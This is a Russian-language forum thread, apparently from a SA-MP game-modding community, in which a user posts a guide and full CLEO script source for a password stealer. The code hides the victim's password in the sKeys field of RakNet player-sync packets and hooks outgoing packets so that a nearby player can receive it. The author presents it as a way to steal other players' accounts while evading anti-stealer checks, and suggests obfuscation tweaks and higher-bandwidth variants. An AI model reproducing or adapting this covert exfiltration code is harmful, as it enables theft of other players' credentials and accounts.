Гайд отправка своей информации через RakNET на примере стиллера

Статус
В этой теме нельзя размещать новые ответы.

p1cador

cerf
Автор темы
Проверенный
221
359
Здарова. Конечно, наверное, очень мало неадекватов, которые попытаются разобраться, или хотя бы прочитают, но мне будет спокойней, если это говно не пропадет и я, хотя бы, убью время.
Делюсь старыми наработками и идеями. В основном это полный идиотизм, но эта задумка заслуживает право на существование, жалко будет, если пропадет.
Таким стиллером, конечно, миллионы акков не напиздишь, но подстебать нубов можно будет, плюс антистиллеры не должны ругаться. Да и тут не в краже жалких акков дело, а в самом принципе.
Сначала распишу, потом выложу сурс, как это реализовал я.
Данные для примера будем передавать через поле uint16_t sKeys структуры PACKET_PLAYER_SYNC. Для этого нам нужно:
1. Установка соединения, передача.
1.1 Первый игрок (жертва) всегда сканирует всех в зоне стрима на наличие определенного флага в sKeys. Если такой есть - начинается передача данных. (в моем примере флаг - sKeys >= 50000)
1.2 Второй игрок (получатель) курит, пока не зажмет кнопку получения пароля.
И так
1.3 Второй игрок (получатель) нажал на кнопку: у него установился флаг sKeys, сигнализирующий о том, что он хочет получить пароль.
1.4 Первый игрок (жертва) это увидел(т.к. постоянно сканирует, выше писал же епта).
1.5 Первый игрок (жертва) отправляет свой пароль до тех пор, пока у получателя установлен флаг(п.1.3).
1.6 Второй игрок (получатель) после принятия пароля отпускает кнопку.
1.7 Первый игрок (жертва) перестает отправлять пароль.

2. Кодирование пароля(любого сообщения)
Говнокод. Всегда не любил ебалово со строками в клео.
Короче.
2.1 Строка с паролем(с любым сообщением) разбивается по символам.
2.2 Каждый символ преобразуется в число(оффсет в строке символов).
Т.к. sKeys = 2 байта, через него можно передать 2 символа за раз.
2.3 Склеивание двух чисел в одно, двухбайтовое, которе и будет передаваться в sKeys.
На приемной стороне, естественно, из sKeys нужно будет сделать обратное преобразование.

Теперь по коду:
сразу сорян за названия функций и блестящее владение терминологией
Установка соединения:
1) Первый игрок (жертва)

пс, 31@ - строка с паролем(любым текстом), 13@ - длина пароля(передаваемой строки)
CLEO:
0AC6: 30@ = label @chars offset
while true
    wait 0
    0C8A: samp 0@ = get_max_player_id streamed_only true
    for 1@ = 0 to 0@ step 1
       if 0B20: samp 6@ = actor_handle_by_samp_player_id 1@
            then
            0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@ //получить sKeys(флаг) игрока
            while 4@ >= 50000 //если флаг >=50000... соединение установлено.
                wait 0  
                0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@          
                for 5@ = 1 to 13@ step 1 //кол-во итераций(13@) == длинна пароля(передаваемой строки)
                // 1 char - получение кода первого символа
                    0C13: strcpy destination 29@ source 31@
                    0AB1: call_scm_func @char_for_string 2 {str} 29@ {number} 5@ | 7@  //return 1 char
                    0C19: 8@ = strcspn string1 30@ string2 7@
                    0C11: memset destination 29@ value 0x0 size 256
                // 2 char - получение кода второго символа      (т.к. передаем попарно, по два)
                    5@ += 1 //переход на след.символ
                    0C13: strcpy destination 29@ source 31@        
                    0AB1: call_scm_func @char_for_string 2 {str} 29@ {number} 5@ | 9@  //return 1 char
                    0C19: 10@ = strcspn string1 30@ string2 9@
                    0C11: memset destination 29@ value 0x0 size 256
                // преобразование двух кодов символов (8@, 10@) в 2-байтовое число (11@), которое можно передать через sKeys
                    0AB1: call_scm_func @char_id_to_byte 2 8@ 10@ | 11@
                    0af8: "%d %d |%d" 0xff0000 8@ 10@ 11@   //debug    
                    0C83: samp force_onfoot_sync   //отправка
                    wait 50 //если часто отправлять, на некоторых серверах кикает           
                end
                2@ = 1
            end
            2@ = 0
        end 
    end
end

Функции:
Проверка флага игрока:
CLEO:
:get_player_data// 0AB1: call_scm_func @get_player_data1{id}1@ | 4@
alloc 15@ 68
0BBA: samp store_player 0@ onfoot_data 15@
0C0C: 18@ = struct 15@ offset 4 size 2// uint16_t sKeys; + 4
0AB2: ret 1 18@

Разбиение строки на символы:
CLEO:
:char_for_string //0AB1: call_scm_func @char_for_string 2 {str} 0@ {ch} 1@ | char 0@
005a: 0@ += 1@
0C11: memset destination 0@ value 0x0 size 0x1
0@ -= 1
ret 1 0@

Запись кодов двух символов в 2-байтовое число:
CLEO:
:char_id_to_byte //0AB1: call_scm_func @char_id_to_byte 2 {ch1}8@ {ch2}10@ | {sKeys}11@
0@ *= 100
005a: 0@ += 1@
0@ += 50000
ret 1 0@
На выходе - ч-ло 5xxyy, где xx,yy - два символа, 5 в старшем разряде - показывает принимающей стороне, что это значение sKeys содержит текст (флаг >= 50000, ну вы помните ебанарот)
2) второй игрок (получатель)

CLEO:
0AC6: 31@ = label @chars offset

while true
    wait 0
    if 0AB0: 66 //B - если нажата кнопка получения
        then
        2@ = 1
        25@ = 61337 //уст. флаг >= 50000
        0C8A: samp 0@ = get_max_player_id streamed_only true
        0C83: samp force_onfoot_sync
        for 1@ = 0 to 0@ step 1
            if 0B20: samp 3@ = actor_handle_by_samp_player_id 1@
                then
                if 803B:   3@ == $PLAYER_ACTOR  // (int)
                    then
                    25@ -= 1   
                    0AB1: call_scm_func @get_player_data 1 {id} 1@ | 4@ //получить флаг        
                    if 4@ >= 50000//если флаг >50000 (если он содержит символы)
                        then //connect, get password             
                        0AB1: call_scm_func @byte_to_char_ids 1 4@ | 20@ 21@  //достать из sKeys коды двух символов
                        if 803b: 14@ == 4@
                            then
                            0af8: "pass: %d[%d %d]"  -1 4@ 20@ 21@  //debug
                            0085: 14@ = 4@                    
                    
                            //--- deconvert                               
                            005A: 20@ += 31@                                    
                            005A: 21@ += 31@
                            20@ += 1
                            0C11: memset destination 20@ value 0 size 0x1
                            20@ -= 1
                                           
                            21@ += 1
                            0C11: memset destination 21@ value 0 size 0x1
                            21@ -= 1                                                  
                            0af8: "%s %s" 0xff0000 20@ 21@       
                            //--- deconvert end.               
                        end                      
                              
                        else continue
                    end
       
                end
            end  
        end
    end
    2@ = 0
    25@ = 0
end

Строка с символами, по которой определяется код символа (до 100 символов).
CLEO:
:chars
hex
" 0123456789abcdefghijklmnopqrstuvwxyz-!@#$%^&*()_+=-;:?"
end

Функции:
Преобр. sKeys в коды двух символов (обратная функции char_id_to_byte):
CLEO:
:byte_to_char_ids 0AB1: call_scm_func @byte_to_char_ids 1 4@ | 20@ 21@
0B14: 15@ = 0@ MOD 100 //jun (1,10)
0062: 0@ -= 15@
0@ /= 100
0B14: 0@ = 0@ MOD 100 //eld (100,1000)
ret 2 0@ 15@

Хуки:
Жертва:

CLEO:
:OUTC_PACKET_ON
0BE5: raknet 14@ = get_hook_param PARAM_PACKETID
if 0039:   14@ == PACKET_PLAYER_SYNC
    then
    0BE5: raknet 14@ = get_hook_param PARAM_BITSTREAM
    0BF3: raknet 14@ = bit_stream 14@ get_data_ptr
    if 2@ == 1 //connected
        then
        0C0D: struct 14@ offset 5 size 2 = 11@   // uint16_t sKeys; + 4 (+1)
    end
end
0BE0: raknet hook_ret true

Получатель:
CLEO:
:OUTC_PACKET_ON
0BE5: raknet 4@ = get_hook_param PARAM_PACKETID
if 0039:   4@ == PACKET_PLAYER_SYNC
    then
    0BE5: raknet 4@ = get_hook_param PARAM_BITSTREAM
    0BF3: raknet 4@ = bit_stream 4@ get_data_ptr
    if 2@ == 1 //connected
        then
        0C0D: struct 4@ offset 5 size 2 = 25@   // uint16_t sKeys; + 4 (+1)
    end
end
0BE0: raknet hook_ret true

Получение пароля и его длинны:



П.С. данные офк можно отправлять через любое поле любой структуры, я выбрал именно uint16_t sKeys; для наглядности. Для увеличения скорости можно задействовать больше полей, можно использовать сотые-тысячные доли позиции, ротации и др., все - ваша фантазия. Так же эти два скрипта, естественно, легко объединяются в один, но, опять же, просто очень лениво все это делать, осбенно на клео, это ебучий мазахизм. Так же для защиты от таких же умных как вы, можно менять символы в строке местами, чтобы ваши сообщения не могли расшифровать другие. Так же для минимизации ошибок, можно использовать различные алгоритмы, их дохуя очень дохуя, например - чередовать 5xxyy/6xxyy/5xxyy/6xxyy, опять же все ваша фантазия и инфа из книг по системам передач. И вам полюбому придется что-нибудь прмдумать, т.к. без этого работать будет криво, потому что ракнета рот ебал. Так же по этому принципу можно пилить дичь по веселее, начиная скрытыми чатами, заканчивая игрухами на несокльких игроков(:D)
 
Последнее редактирование:

LokoLoyKoo

Новичок
103
8
Я что-то не понял как его написать, сможет кто-нибудь объяснить?
 
Статус
В этой теме нельзя размещать новые ответы.